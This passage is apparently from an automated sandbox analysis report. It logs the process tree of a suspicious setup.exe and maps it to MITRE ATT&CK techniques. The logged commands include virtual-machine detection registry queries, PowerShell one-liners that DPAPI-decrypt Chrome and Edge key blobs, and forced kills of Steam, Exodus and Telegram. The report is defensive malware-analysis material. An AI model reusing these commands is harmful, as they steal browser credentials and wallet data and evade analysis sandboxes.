  - - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
      powershell -NoProfile -Command "Add-Type -AssemblyName System.Windows.Forms; $p=[System.Windows.Forms.Cursor]::Position; Write-Output ($p.X.ToString() + ',' + $p.Y.ToString())"
      4⤵
      Command and Scripting Interpreter: PowerShell
      Suspicious behavior: EnumeratesProcesses
      Suspicious use of AdjustPrivilegeToken
      PID:3368
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /d /s /c "powershell -Command "Add-Type -AssemblyName System.Windows.Forms; [System.Windows.Forms.Screen]::PrimaryScreen.Bounds.Width""
    3⤵
    - Executes a command shell one-liner
    - Suspicious use of WriteProcessMemory
    PID:3836
  - - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
      powershell -Command "Add-Type -AssemblyName System.Windows.Forms; [System.Windows.Forms.Screen]::PrimaryScreen.Bounds.Width"
      4⤵
      Command and Scripting Interpreter: PowerShell
      Suspicious behavior: EnumeratesProcesses
      Suspicious use of AdjustPrivilegeToken
      PID:4212
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /d /s /c "powershell -NoProfile -ExecutionPolicy Bypass -Command "Add-Type -AssemblyName System.Security;$b=[Convert]::FromBase64String('AQAAANCMnd8BFdERjHoAwE/Cl+sBAAAA3k6inzotzUS8QP62t82jThAAAAAcAAAARwBvAG8AZwBsAGUAIABDAGgAcgBvAG0AZQAAABBmAAAAAQAAIAAAAPor9mlws2YDZT6exuEAF6ksj6MaXgTy6JT46etDKrZkAAAAAA6AAAAAAgAAIAAAAOqTHQdE0OevuINp0VwcpIkwenSwPyol0bweJrcq2o60MAAAAFRTOJJvFiiWaShqNt2+Mg1An4QLUHFi78gLm3uJ0NIXhZMH/bUII3gDc6bOqKPt00AAAAD/BwmWgXuKj6guyAPuIA91qL39H3wsLh5F9En/p+83tDnRttb1/EloU+NR/4GR0GdIDPXvoErOIKRrELvPNlY2');$p=[System.Security.Cryptography.ProtectedData]::Unprotect($b,$null,[System.Security.Cryptography.DataProtectionScope]::CurrentUser);[Console]::Out.Write([Convert]::ToBase64String($p))""
    3⤵
    - Executes a command shell one-liner
    - Suspicious use of WriteProcessMemory
    PID:1028
  - - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
      powershell -NoProfile -ExecutionPolicy Bypass -Command "Add-Type -AssemblyName System.Security;$b=[Convert]::FromBase64String('AQAAANCMnd8BFdERjHoAwE/Cl+sBAAAA3k6inzotzUS8QP62t82jThAAAAAcAAAARwBvAG8AZwBsAGUAIABDAGgAcgBvAG0AZQAAABBmAAAAAQAAIAAAAPor9mlws2YDZT6exuEAF6ksj6MaXgTy6JT46etDKrZkAAAAAA6AAAAAAgAAIAAAAOqTHQdE0OevuINp0VwcpIkwenSwPyol0bweJrcq2o60MAAAAFRTOJJvFiiWaShqNt2+Mg1An4QLUHFi78gLm3uJ0NIXhZMH/bUII3gDc6bOqKPt00AAAAD/BwmWgXuKj6guyAPuIA91qL39H3wsLh5F9En/p+83tDnRttb1/EloU+NR/4GR0GdIDPXvoErOIKRrELvPNlY2');$p=[System.Security.Cryptography.ProtectedData]::Unprotect($b,$null,[System.Security.Cryptography.DataProtectionScope]::CurrentUser);[Console]::Out.Write([Convert]::ToBase64String($p))"
      4⤵
      Command and Scripting Interpreter: PowerShell
      Suspicious behavior: EnumeratesProcesses
      PID:1364
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /d /s /c "powershell -NoProfile -ExecutionPolicy Bypass -Command "Add-Type -AssemblyName System.Security;$b=[Convert]::FromBase64String('AQAAANCMnd8BFdERjHoAwE/Cl+sBAAAA3k6inzotzUS8QP62t82jThAAAAAeAAAATQBpAGMAcgBvAHMAbwBmAHQAIABFAGQAZwBlAAAAEGYAAAABAAAgAAAAQEtpym018wIhzhmpFew8TFgSYPZ36pOkDqMO5VOH+RYAAAAADoAAAAACAAAgAAAAUIVYhtzvMpACMlidHWmJ39lrq48vwyz4XMaluIewDjswAAAAd1GZAwqQHPNXJiv9G7r3Q2DmSoh1x+mZE7wAbvFgtKVAWNHouyBtep/s4O743rLZQAAAAIdwJjb5RCvQuT6fs1MgiwcdpE0FPLjedWtPS0W0+3fZtuIm3oYCcMY9zIte79ZdC6OVY1573odp+MifJqpralg=');$p=[System.Security.Cryptography.ProtectedData]::Unprotect($b,$null,[System.Security.Cryptography.DataProtectionScope]::CurrentUser);[Console]::Out.Write([Convert]::ToBase64String($p))""
    3⤵
    - Executes a command shell one-liner
    PID:712
  - - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
      powershell -NoProfile -ExecutionPolicy Bypass -Command "Add-Type -AssemblyName System.Security;$b=[Convert]::FromBase64String('AQAAANCMnd8BFdERjHoAwE/Cl+sBAAAA3k6inzotzUS8QP62t82jThAAAAAeAAAATQBpAGMAcgBvAHMAbwBmAHQAIABFAGQAZwBlAAAAEGYAAAABAAAgAAAAQEtpym018wIhzhmpFew8TFgSYPZ36pOkDqMO5VOH+RYAAAAADoAAAAACAAAgAAAAUIVYhtzvMpACMlidHWmJ39lrq48vwyz4XMaluIewDjswAAAAd1GZAwqQHPNXJiv9G7r3Q2DmSoh1x+mZE7wAbvFgtKVAWNHouyBtep/s4O743rLZQAAAAIdwJjb5RCvQuT6fs1MgiwcdpE0FPLjedWtPS0W0+3fZtuIm3oYCcMY9zIte79ZdC6OVY1573odp+MifJqpralg=');$p=[System.Security.Cryptography.ProtectedData]::Unprotect($b,$null,[System.Security.Cryptography.DataProtectionScope]::CurrentUser);[Console]::Out.Write([Convert]::ToBase64String($p))"
      4⤵
      Command and Scripting Interpreter: PowerShell
      Suspicious behavior: EnumeratesProcesses
      PID:824
- - C:\Users\Admin\AppData\Local\Temp\WinGet_Repaired\tools\python.exe
    C:\Users\Admin\AppData\Local\Temp\WinGet_Repaired\tools\python.exe -m pip install --no-cache-dir --no-warn-script-location --disable-pip-version-check -q pycryptodome
    3⤵
    - Executes dropped EXE
    - Loads dropped DLL
    PID:9236
  - - C:\Windows\system32\cmd.exe
      C:\Windows\system32\cmd.exe /c "ver"
      4⤵
      Executes a command shell one-liner
      PID:5772
- - C:\Users\Admin\AppData\Local\Temp\WinGet_Repaired\tools\python.exe
    C:\Users\Admin\AppData\Local\Temp\WinGet_Repaired\tools\python.exe -m pip install --no-cache-dir --no-warn-script-location --disable-pip-version-check -q pywin32
    3⤵
    - Executes dropped EXE
    - Loads dropped DLL
    PID:9336
  - - C:\Windows\system32\cmd.exe
      C:\Windows\system32\cmd.exe /c "ver"
      4⤵
      Executes a command shell one-liner
      PID:6376
- - C:\Users\Admin\AppData\Local\Temp\WinGet_Repaired\tools\python.exe
    C:\Users\Admin\AppData\Local\Temp\WinGet_Repaired\tools\python.exe -m pip install --no-cache-dir --no-warn-script-location --disable-pip-version-check -q PythonForWindows
    3⤵
    - Executes dropped EXE
    - Loads dropped DLL
    PID:7080
  - - C:\Windows\system32\cmd.exe
      C:\Windows\system32\cmd.exe /c "ver"
      4⤵
      Executes a command shell one-liner
      PID:8924
- - C:\Users\Admin\AppData\Local\Temp\WinGet_Repaired\tools\python.exe
    C:\Users\Admin\AppData\Local\Temp\WinGet_Repaired\tools\python.exe -
    3⤵
    - Executes dropped EXE
    PID:10940
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /d /s /c "taskkill /IM Steam.exe /F"
    3⤵
    - Executes a command shell one-liner
    PID:10068
  - - C:\Windows\system32\taskkill.exe
      taskkill /IM Steam.exe /F
      4⤵
      Kills process with taskkill
      PID:9916
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /d /s /c "taskkill /IM javaw.exe /F"
    3⤵
    - Executes a command shell one-liner
    PID:11068
  - - C:\Windows\system32\taskkill.exe
      taskkill /IM javaw.exe /F
      4⤵
      Kills process with taskkill
      PID:10324
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /d /s /c "taskkill /IM Exodus.exe /F"
    3⤵
    - Executes a command shell one-liner
    PID:10224
  - - C:\Windows\system32\taskkill.exe
      taskkill /IM Exodus.exe /F
      4⤵
      Kills process with taskkill
      PID:8172
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /d /s /c "taskkill /IM Telegram.exe /F"
    3⤵
    - Executes a command shell one-liner
    PID:9628
  - - C:\Windows\system32\taskkill.exe
      taskkill /IM Telegram.exe /F
      4⤵
      Kills process with taskkill
      PID:9360
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /d /s /c "powershell -ExecutionPolicy Bypass -NoProfile -NonInteractive -WindowStyle Hidden -File "C:\Users\Admin\AppData\Local\Temp\shk_ss_1786067952764.ps1""
    3⤵
    - Executes a command shell one-liner
    PID:7392
  - - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
      powershell -ExecutionPolicy Bypass -NoProfile -NonInteractive -WindowStyle Hidden -File "C:\Users\Admin\AppData\Local\Temp\shk_ss_1786067952764.ps1"
      4⤵
      Command and Scripting Interpreter: PowerShell
      Suspicious behavior: EnumeratesProcesses
      PID:7448
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /d /s /c "tasklist /FO CSV /NH"
    3⤵
    - Executes a command shell one-liner
    PID:7756
  - - C:\Windows\system32\tasklist.exe
      tasklist /FO CSV /NH
      4⤵
      Discovers running processes
      PID:7568
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /d /s /c "tasklist"
    3⤵
    - Executes a command shell one-liner
    PID:7912
  - - C:\Windows\system32\tasklist.exe
      tasklist
      4⤵
      Discovers running processes
      PID:7904
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /d /s /c "tasklist"
    3⤵
    - Executes a command shell one-liner
    PID:7996
  - - C:\Windows\system32\tasklist.exe
      tasklist
      4⤵
      Discovers running processes
      PID:8088

C:\Users\Admin\AppData\Local\Programs\setup\setup.exe
"C:\Users\Admin\AppData\Local\Programs\setup\setup.exe"
1⤵
- Executes dropped EXE
- Checks processor information in registry
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
PID:4916
- C:\Windows\system32\cmd.exe
  C:\Windows\system32\cmd.exe /d /s /c "reg query "HKLM\SOFTWARE\Oracle\VirtualBox Guest Additions""
  2⤵
  - Executes a command shell one-liner
  - Suspicious use of WriteProcessMemory
  PID:1592
- - C:\Windows\system32\reg.exe
    reg query "HKLM\SOFTWARE\Oracle\VirtualBox Guest Additions"
    3⤵
    - Looks for VirtualBox Guest Additions in registry
    PID:5640
- C:\Users\Admin\AppData\Local\Programs\setup\setup.exe
  "C:\Users\Admin\AppData\Local\Programs\setup\setup.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --user-data-dir="C:\Users\Admin\AppData\Roaming\setup" --field-trial-handle=1696,i,6641730845259531869,17418449550415858409,262144 --enable-features=PdfUseShowSaveFilePicker --disable-features=DropInputEventsWhilePaintHolding,LocalNetworkAccessChecks,NetworkServiceSandbox,ScreenAIOCREnabled,SpareRendererForSitePerProcess,TraceSiteInstanceGetProcessCreation --variations-seed-version --pseudonymization-salt-handle=1716,i,3089924823211563629,18416292422356044069,4 --trace-process-track-uuid=3190708989122997041 --mojo-platform-channel-handle=1744 /prefetch:11
  2⤵
  - Executes dropped EXE
  PID:3304
- C:\Users\Admin\AppData\Local\Programs\setup\setup.exe
  "C:\Users\Admin\AppData\Local\Programs\setup\setup.exe" --type=gpu-process --user-data-dir="C:\Users\Admin\AppData\Roaming\setup" --gpu-preferences=SAAAAAAAAADgAAAEAAAAAAAAAAAAAGAAAQAAAAAAAAAAAAAAAAAAAAIAAAAAAAAAAAAAAAAAAAAQAAAAAAAAABAAAAAAAAAACAAAAAAAAAAIAAAAAAAAAA== --field-trial-handle=1696,i,6641730845259531869,17418449550415858409,262144 --enable-features=PdfUseShowSaveFilePicker --disable-features=DropInputEventsWhilePaintHolding,LocalNetworkAccessChecks,NetworkServiceSandbox,ScreenAIOCREnabled,SpareRendererForSitePerProcess,TraceSiteInstanceGetProcessCreation --variations-seed-version --pseudonymization-salt-handle=1716,i,3089924823211563629,18416292422356044069,4 --trace-process-track-uuid=3190708988185955192 --mojo-platform-channel-handle=1692 /prefetch:2
  2⤵
  - Executes dropped EXE
  - Loads dropped DLL
  PID:1392
- C:\Windows\system32\cmd.exe
  C:\Windows\system32\cmd.exe /d /s /c "reg query "HKLM\SYSTEM\ControlSet001\Services\VBoxGuest""
  2⤵
  - Executes a command shell one-liner
  - Suspicious use of WriteProcessMemory
  PID:4556
- - C:\Windows\system32\reg.exe
    reg query "HKLM\SYSTEM\ControlSet001\Services\VBoxGuest"
    3⤵
    - Enumerates VirtualBox registry keys
    PID:4308
- C:\Windows\system32\cmd.exe
  C:\Windows\system32\cmd.exe /d /s /c "reg query "HKLM\SYSTEM\ControlSet001\Services\VBoxMouse""
  2⤵
  - Executes a command shell one-liner
  - Suspicious use of WriteProcessMemory
  PID:4092
- - C:\Windows\system32\reg.exe
    reg query "HKLM\SYSTEM\ControlSet001\Services\VBoxMouse"
    3⤵
    - Enumerates VirtualBox registry keys
    PID:6012
- C:\Windows\system32\cmd.exe
  C:\Windows\system32\cmd.exe /d /s /c "reg query "HKLM\SYSTEM\ControlSet001\Services\VBoxService""
  2⤵
  - Executes a command shell one-liner
  - Suspicious use of WriteProcessMemory
  PID:4228
- - C:\Windows\system32\reg.exe
    reg query "HKLM\SYSTEM\ControlSet001\Services\VBoxService"
    3⤵
    - Enumerates VirtualBox registry keys
    PID:752
- C:\Windows\system32\cmd.exe
  C:\Windows\system32\cmd.exe /d /s /c "reg query "HKLM\SOFTWARE\VMware, Inc.\VMware Tools""
  2⤵
  - Executes a command shell one-liner
  - Suspicious use of WriteProcessMemory
  PID:5012
- - C:\Windows\system32\reg.exe
    reg query "HKLM\SOFTWARE\VMware, Inc.\VMware Tools"
    3⤵
    - Looks for VMWare Tools registry key
    PID:3816
- C:\Windows\system32\cmd.exe
  C:\Windows\system32\cmd.exe /d /s /c "reg query "HKLM\SYSTEM\ControlSet001\Services\vmci""
  2⤵
  - Executes a command shell one-liner
  - Suspicious use of WriteProcessMemory
  PID:3908
- - C:\Windows\system32\reg.exe
    reg query "HKLM\SYSTEM\ControlSet001\Services\vmci"
    3⤵
    - Looks for VMWare services registry key.
    PID:544
- C:\Windows\system32\cmd.exe
  C:\Windows\system32\cmd.exe /d /s /c "reg query "HKLM\SYSTEM\ControlSet001\Services\vmhgfs""
  2⤵
  - Executes a command shell one-liner
  - Suspicious use of WriteProcessMemory
  PID:1092
- - C:\Windows\system32\reg.exe
    reg query "HKLM\SYSTEM\ControlSet001\Services\vmhgfs"
    3⤵
    PID:2736
- C:\Windows\system32\cmd.exe
  C:\Windows\system32\cmd.exe /d /s /c "reg query "HKLM\SOFTWARE\Microsoft\Virtual Machine\Guest\Parameters""
  2⤵
  - Executes a command shell one-liner
  - Suspicious use of WriteProcessMemory
  PID:3760
- - C:\Windows\system32\reg.exe
    reg query "HKLM\SOFTWARE\Microsoft\Virtual Machine\Guest\Parameters"
    3⤵
    PID:3500
- C:\Windows\system32\cmd.exe
  C:\Windows\system32\cmd.exe /d /s /c "powershell -NoProfile -Command "Add-Type -AssemblyName System.Windows.Forms; $p=[System.Windows.Forms.Cursor]::Position; Write-Output ($p.X.ToString() + ',' + $p.Y.ToString())""
  2⤵
  - Executes a command shell one-liner
  - Suspicious use of WriteProcessMemory
  PID:3316
- - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
    powershell -NoProfile -Command "Add-Type -AssemblyName System.Windows.Forms; $p=[System.Windows.Forms.Cursor]::Position; Write-Output ($p.X.ToString() + ',' + $p.Y.ToString())"
    3⤵
    - Command and Scripting Interpreter: PowerShell
    - Suspicious behavior: EnumeratesProcesses
    - Suspicious use of AdjustPrivilegeToken
    PID:3140
- C:\Windows\system32\cmd.exe
  C:\Windows\system32\cmd.exe /d /s /c "tasklist"
  2⤵
  - Executes a command shell one-liner
  - Suspicious use of WriteProcessMemory
  PID:5484
- - C:\Windows\system32\tasklist.exe
    tasklist
    3⤵
    - Discovers running processes
    - Suspicious use of AdjustPrivilegeToken
    PID:5580
- C:\Windows\system32\cmd.exe
  C:\Windows\system32\cmd.exe /d /s /c "powershell -NoProfile -ExecutionPolicy Bypass -Command "Get-CimInstance -ClassName Win32_BIOS | Select-Object -ExpandProperty Manufacturer""
  2⤵
  - Executes a command shell one-liner
  - Suspicious use of WriteProcessMemory
  PID:4308
- - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
    powershell -NoProfile -ExecutionPolicy Bypass -Command "Get-CimInstance -ClassName Win32_BIOS | Select-Object -ExpandProperty Manufacturer"
    3⤵
    - Command and Scripting Interpreter: PowerShell
    - Suspicious behavior: EnumeratesProcesses
    - Suspicious use of AdjustPrivilegeToken
    PID:3476
- C:\Windows\system32\cmd.exe
  C:\Windows\system32\cmd.exe /d /s /c "getmac"
  2⤵
  - Executes a command shell one-liner
  - Suspicious use of WriteProcessMemory
  PID:1556
- - C:\Windows\system32\getmac.exe
    getmac
    3⤵
    PID:2464
- C:\Windows\system32\cmd.exe
  C:\Windows\system32\cmd.exe /d /s /c "powershell -Command "Add-Type -AssemblyName System.Windows.Forms; [System.Windows.Forms.Screen]::PrimaryScreen.Bounds.Width""
  2⤵
  - Executes a command shell one-liner
  - Suspicious use of WriteProcessMemory
  PID:2800
- - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
    powershell -Command "Add-Type -AssemblyName System.Windows.Forms; [System.Windows.Forms.Screen]::PrimaryScreen.Bounds.Width"
    3⤵
    - Command and Scripting Interpreter: PowerShell
    - Suspicious behavior: EnumeratesProcesses
    PID:4732
- C:\Windows\system32\cmd.exe
  C:\Windows\system32\cmd.exe /d /s /c "powershell -NoProfile -ExecutionPolicy Bypass -Command "Get-CimInstance -ClassName Win32_DiskDrive | Select-Object -ExpandProperty Model""
  2⤵
  - Executes a command shell one-liner
  - Suspicious use of WriteProcessMemory
  PID:1408
- - C:\Windows\System32\Conhost.exe
    \??\C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
    3⤵
    PID:3052
- - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
    powershell -NoProfile -ExecutionPolicy Bypass -Command "Get-CimInstance -ClassName Win32_DiskDrive | Select-Object -ExpandProperty Model"
    3⤵
    - Command and Scripting Interpreter: PowerShell
    - Suspicious behavior: EnumeratesProcesses
    PID:460
- C:\Windows\system32\cmd.exe
  C:\Windows\system32\cmd.exe /d /s /c "powershell -NoProfile -ExecutionPolicy Bypass -Command "Add-Type -AssemblyName System.Security;$b=[Convert]::FromBase64String('AQAAANCMnd8BFdERjHoAwE/Cl+sBAAAA3k6inzotzUS8QP62t82jThAAAAAcAAAARwBvAG8AZwBsAGUAIABDAGgAcgBvAG0AZQAAABBmAAAAAQAAIAAAAPor9mlws2YDZT6exuEAF6ksj6MaXgTy6JT46etDKrZkAAAAAA6AAAAAAgAAIAAAAOqTHQdE0OevuINp0VwcpIkwenSwPyol0bweJrcq2o60MAAAAFRTOJJvFiiWaShqNt2+Mg1An4QLUHFi78gLm3uJ0NIXhZMH/bUII3gDc6bOqKPt00AAAAD/BwmWgXuKj6guyAPuIA91qL39H3wsLh5F9En/p+83tDnRttb1/EloU+NR/4GR0GdIDPXvoErOIKRrELvPNlY2');$p=[System.Security.Cryptography.ProtectedData]::Unprotect($b,$null,[System.Security.Cryptography.DataProtectionScope]::CurrentUser);[Console]::Out.Write([Convert]::ToBase64String($p))""
  2⤵
  - Executes a command shell one-liner
  PID:5372
- - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
    powershell -NoProfile -ExecutionPolicy Bypass -Command "Add-Type -AssemblyName System.Security;$b=[Convert]::FromBase64String('AQAAANCMnd8BFdERjHoAwE/Cl+sBAAAA3k6inzotzUS8QP62t82jThAAAAAcAAAARwBvAG8AZwBsAGUAIABDAGgAcgBvAG0AZQAAABBmAAAAAQAAIAAAAPor9mlws2YDZT6exuEAF6ksj6MaXgTy6JT46etDKrZkAAAAAA6AAAAAAgAAIAAAAOqTHQdE0OevuINp0VwcpIkwenSwPyol0bweJrcq2o60MAAAAFRTOJJvFiiWaShqNt2+Mg1An4QLUHFi78gLm3uJ0NIXhZMH/bUII3gDc6bOqKPt00AAAAD/BwmWgXuKj6guyAPuIA91qL39H3wsLh5F9En/p+83tDnRttb1/EloU+NR/4GR0GdIDPXvoErOIKRrELvPNlY2');$p=[System.Security.Cryptography.ProtectedData]::Unprotect($b,$null,[System.Security.Cryptography.DataProtectionScope]::CurrentUser);[Console]::Out.Write([Convert]::ToBase64String($p))"
    3⤵
    - Command and Scripting Interpreter: PowerShell
    - Suspicious behavior: EnumeratesProcesses
    PID:5380
- C:\Windows\system32\cmd.exe
  C:\Windows\system32\cmd.exe /d /s /c "powershell -NoProfile -ExecutionPolicy Bypass -Command "Add-Type -AssemblyName System.Security;$b=[Convert]::FromBase64String('AQAAANCMnd8BFdERjHoAwE/Cl+sBAAAA3k6inzotzUS8QP62t82jThAAAAAeAAAATQBpAGMAcgBvAHMAbwBmAHQAIABFAGQAZwBlAAAAEGYAAAABAAAgAAAAQEtpym018wIhzhmpFew8TFgSYPZ36pOkDqMO5VOH+RYAAAAADoAAAAACAAAgAAAAUIVYhtzvMpACMlidHWmJ39lrq48vwyz4XMaluIewDjswAAAAd1GZAwqQHPNXJiv9G7r3Q2DmSoh1x+mZE7wAbvFgtKVAWNHouyBtep/s4O743rLZQAAAAIdwJjb5RCvQuT6fs1MgiwcdpE0FPLjedWtPS0W0+3fZtuIm3oYCcMY9zIte79ZdC6OVY1573odp+MifJqpralg=');$p=[System.Security.Cryptography.ProtectedData]::Unprotect($b,$null,[System.Security.Cryptography.DataProtectionScope]::CurrentUser);[Console]::Out.Write([Convert]::ToBase64String($p))""
  2⤵
  - Executes a command shell one-liner
  PID:3396
- - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
    powershell -NoProfile -ExecutionPolicy Bypass -Command "Add-Type -AssemblyName System.Security;$b=[Convert]::FromBase64String('AQAAANCMnd8BFdERjHoAwE/Cl+sBAAAA3k6inzotzUS8QP62t82jThAAAAAeAAAATQBpAGMAcgBvAHMAbwBmAHQAIABFAGQAZwBlAAAAEGYAAAABAAAgAAAAQEtpym018wIhzhmpFew8TFgSYPZ36pOkDqMO5VOH+RYAAAAADoAAAAACAAAgAAAAUIVYhtzvMpACMlidHWmJ39lrq48vwyz4XMaluIewDjswAAAAd1GZAwqQHPNXJiv9G7r3Q2DmSoh1x+mZE7wAbvFgtKVAWNHouyBtep/s4O743rLZQAAAAIdwJjb5RCvQuT6fs1MgiwcdpE0FPLjedWtPS0W0+3fZtuIm3oYCcMY9zIte79ZdC6OVY1573odp+MifJqpralg=');$p=[System.Security.Cryptography.ProtectedData]::Unprotect($b,$null,[System.Security.Cryptography.DataProtectionScope]::CurrentUser);[Console]::Out.Write([Convert]::ToBase64String($p))"
    3⤵
    - Command and Scripting Interpreter: PowerShell
    - Suspicious behavior: EnumeratesProcesses
    PID:3128
- C:\Windows\system32\cmd.exe
  C:\Windows\system32\cmd.exe /d /s /c "taskkill /IM Steam.exe /F"
  2⤵
  - Executes a command shell one-liner
  PID:460
- - C:\Windows\system32\taskkill.exe
    taskkill /IM Steam.exe /F
    3⤵
    - Kills process with taskkill
    PID:7628
- C:\Windows\system32\cmd.exe
  C:\Windows\system32\cmd.exe /d /s /c "taskkill /IM javaw.exe /F"
  2⤵
  - Executes a command shell one-liner
  PID:2620
- - C:\Windows\system32\taskkill.exe
    taskkill /IM javaw.exe /F
    3⤵
    - Kills process with taskkill
    PID:4936
- C:\Windows\system32\cmd.exe
  C:\Windows\system32\cmd.exe /d /s /c "taskkill /IM Exodus.exe /F"
  2⤵
  - Executes a command shell one-liner
  PID:8976
- - C:\Windows\system32\taskkill.exe
    taskkill /IM Exodus.exe /F
    3⤵
    - Kills process with taskkill
    PID:2812
- C:\Windows\system32\cmd.exe
  C:\Windows\system32\cmd.exe /d /s /c "taskkill /IM Telegram.exe /F"
  2⤵
  - Executes a command shell one-liner
  PID:8980
- - C:\Windows\system32\taskkill.exe
    taskkill /IM Telegram.exe /F
    3⤵
    - Kills process with taskkill
    PID:6844
- C:\Windows\system32\cmd.exe
  C:\Windows\system32\cmd.exe /d /s /c "powershell -ExecutionPolicy Bypass -NoProfile -NonInteractive -WindowStyle Hidden -File "C:\Users\Admin\AppData\Local\Temp\shk_ss_1786067944564.ps1""
  2⤵
  - Executes a command shell one-liner
  PID:6952
- - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
    powershell -ExecutionPolicy Bypass -NoProfile -NonInteractive -WindowStyle Hidden -File "C:\Users\Admin\AppData\Local\Temp\shk_ss_1786067944564.ps1"
    3⤵
    - Command and Scripting Interpreter: PowerShell
    - Suspicious behavior: EnumeratesProcesses
    PID:11524
- C:\Windows\system32\cmd.exe
  C:\Windows\system32\cmd.exe /d /s /c "tasklist /FO CSV /NH"
  2⤵
  - Executes a command shell one-liner
  PID:10408
- - C:\Windows\system32\tasklist.exe
    tasklist /FO CSV /NH
    3⤵
    - Discovers running processes
    PID:10040
- C:\Windows\system32\cmd.exe
  C:\Windows\system32\cmd.exe /d /s /c "tasklist"
  2⤵
  - Executes a command shell one-liner
  PID:1436
- - C:\Windows\system32\tasklist.exe
    tasklist
    3⤵
    - Discovers running processes
    PID:5392
- C:\Windows\system32\cmd.exe
  C:\Windows\system32\cmd.exe /d /s /c "tasklist"
  2⤵
  - Executes a command shell one-liner
  PID:4288
- - C:\Windows\system32\tasklist.exe
    tasklist
    3⤵
    - Discovers running processes
    PID:7212

Network

MITRE ATT&CK Enterprise v16

Reconnaissance

Resource Development

Initial Access

Execution

Command and Scripting Interpreter

T1059

PowerShell

T1059.001

Windows Command Shell

T1059.003

Scheduled Task/Job

T1053

Scheduled Task

T1053.005

Persistence

Scheduled Task/Job

T1053

Scheduled Task

T1053.005

Privilege Escalation

Scheduled Task/Job

T1053

Scheduled Task

T1053.005

Defense Evasion

Obfuscated Files or Information

T1027

Command Obfuscation

T1027.010

Virtualization/Sandbox Evasion

T1497

Credential Access

Credentials from Password Stores

T1555

Credentials from Web Browsers

T1555.003

Unsecured Credentials

T1552

Credentials In Files

T1552.001

Discovery

Process Discovery

T1057

Query Registry

T1012

System Information Discovery

T1082

System Location Discovery

T1614

System Language Discovery

T1614.001

System Network Configuration Discovery

T1016

Internet Connection Discovery

T1016.001

Virtualization/Sandbox Evasion

T1497

Lateral Movement

Collection

Data from Local System

T1005

Command and Control

Web Service

T1102

Exfiltration

Impact